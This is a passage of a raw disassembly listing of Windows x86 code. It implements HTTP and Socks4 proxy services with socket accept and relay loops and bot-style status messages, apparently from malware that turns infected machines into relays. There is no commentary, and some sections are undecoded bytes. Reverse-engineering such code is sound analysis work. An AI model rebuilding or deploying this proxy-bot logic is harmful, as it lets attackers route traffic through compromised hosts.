		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_429492
		cmp	eax, ebx
		jz	loc_429492
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_429040:				; CODE XREF: sub_4282C0+D8Bj
		cmp	[ecx], edx
		jz	short loc_42904D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_429040


loc_42904D:				; CODE XREF: sub_4282C0+D82j
		cmp	eax, 1
		jnz	short loc_429064
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


loc_429064:				; CODE XREF: sub_4282C0+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_436F60
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 7168B15Ah
		dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 69036FE8h, 333D9071h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h,	333D7169h
		dd 75000027h, 90016A0Dh, 3F8BD1E8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4291EF:				; CODE XREF: sub_4282C0+CA6j
		or	esi, 0FFFFFFFFh


loc_4291F2:				; CODE XREF: sub_4282C0+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_429212
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_429212:				; CODE XREF: sub_4282C0+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429280:				; CODE XREF: sub_4282C0+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_4282F8


loc_42928C:				; CODE XREF: sub_4282C0+1074j
					; sub_4282C0+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_4292A9
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_4292A9:				; CODE XREF: sub_4282C0+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_4292C4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_4292C4:				; CODE XREF: sub_4282C0+FEFj
					; sub_4282C0+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_4292DD:				; CODE XREF: sub_4282C0+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_4292EE:				; CODE XREF: sub_4282C0+3D7j
		lea	ecx, [esp+1Ch+arg_28]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226


loc_4292FF:				; CODE XREF: sub_4282C0+191j
					; sub_4282C0+1AAj ...
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226


loc_429310:				; CODE XREF: sub_4282C0+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429339:				; CODE XREF: sub_4282C0+503j
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42934B:				; CODE XREF: sub_4282C0+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi ; dword_50FC88
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_4293A8:				; CODE XREF: sub_4282C0+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_4293F2:				; CODE XREF: sub_4282C0+711j
					; sub_4282C0+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi ; dword_50FC88
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_42940D:				; CODE XREF: sub_4282C0+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42941F:				; CODE XREF: sub_4282C0+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429492:				; CODE XREF: sub_4282C0+D45j
					; sub_4282C0+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi ; dword_50FC88
		mov	edx, [ebp+0BFh]
		push	edx


loc_4294A8:				; CODE XREF: sub_4282C0+10E3j
					; sub_4282C0+1148j
		call	esi ; dword_50FC88


loc_4294AA:				; CODE XREF: sub_4282C0+1086j
					; sub_4282C0+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_4292C4
sub_4282C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4299C0	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4299C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4299C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A30:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429A48
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_429A48:				; CODE XREF: ___:00429A3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A60	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429A7B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_429A7B:				; CODE XREF: sub_429A60+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429AA0	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429AC3:				; CODE XREF: sub_429AA0+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429AEA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429AC3


loc_429AEA:				; CODE XREF: sub_429AA0+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429BBC
		push	ebp
		push	esi


loc_429B00:				; CODE XREF: sub_429AA0+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429B9B
		test	ebp, ebp
		jz	short loc_429B9B
		push	0C3h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429B46
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429B48
; ---------------------------------------------------------------------------


loc_429B46:				; CODE XREF: sub_429AA0+99j
		xor	esi, esi


loc_429B48:				; CODE XREF: sub_429AA0+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429BA6
; ---------------------------------------------------------------------------


loc_429B9B:				; CODE XREF: sub_429AA0+74j
					; sub_429AA0+7Cj
		push	0FAh
		nop
		call	near ptr 2821DA2h


loc_429BA6:				; CODE XREF: sub_429AA0+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429B00
		pop	esi
		pop	ebp


loc_429BBC:				; CODE XREF: sub_429AA0+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429BCE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_429BCE:				; CODE XREF: sub_429AA0+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429C30	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429C58
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429C63
; ---------------------------------------------------------------------------


loc_429C58:				; CODE XREF: sub_429C30+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429C63:				; CODE XREF: sub_429C30+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429C30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429D00	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429D00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D70:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429D88
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_429D88:				; CODE XREF: ___:00429D7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429DA0	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429DA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429DC0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi ; dword_50FC90
		cmp	eax, 1
		jge	short loc_429E01
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E01:				; CODE XREF: sub_429DC0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_429FEC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi ; dword_50FC90
		cmp	eax, 1
		jge	short loc_429E3E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E3E:				; CODE XREF: sub_429DC0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_429FEC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429ED9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429ED9:				; CODE XREF: sub_429DC0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi ; dword_50FC50
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi ; dword_50FC50


loc_429F36:				; CODE XREF: sub_429DC0+1AFj
					; sub_429DC0+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi ; dword_50FC90
		mov	esi, eax
		test	esi, esi
		jz	loc_429FDA
		jge	short loc_429F71
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429F71
		push	0Ah
		call	near ptr 2821DA2h
		nop
		jmp	short loc_429F36
; ---------------------------------------------------------------------------


loc_429F71:				; CODE XREF: sub_429DC0+198j
					; sub_429DC0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi ; dword_50FC90
		mov	esi, eax
		test	esi, esi
		jz	short loc_429FDA
		jge	short loc_429FC3
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_429FC3
		push	0Ah
		call	near ptr 2821DA2h
		nop
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FC3:				; CODE XREF: sub_429DC0+1E7j
					; sub_429DC0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FDA:				; CODE XREF: sub_429DC0+192j
					; sub_429DC0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi ; dword_50FC88
		push	ebx
		call	esi ; dword_50FC88


loc_429FEC:				; CODE XREF: sub_429DC0+46j
					; sub_429DC0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429DC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A090	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A090	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A100	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A118
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_42A118:				; CODE XREF: sub_42A100+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A130	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A150	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A150
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A359
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42A226
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A226:				; CODE XREF: sub_42A150+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A310


loc_42A23C:				; CODE XREF: sub_42A150+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A260
		push	0FAh
		nop
		call	near ptr 2821DA2h
		jmp	loc_42A2FC
; ---------------------------------------------------------------------------


loc_42A260:				; CODE XREF: sub_42A150+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A310
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A310
		push	0A5h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A2AE
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A2AE:				; CODE XREF: sub_42A150+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A2FC:				; CODE XREF: sub_42A150+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A23C


loc_42A310:				; CODE XREF: sub_42A150+E6j
					; sub_42A150+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A324
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42A324:				; CODE XREF: sub_42A150+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


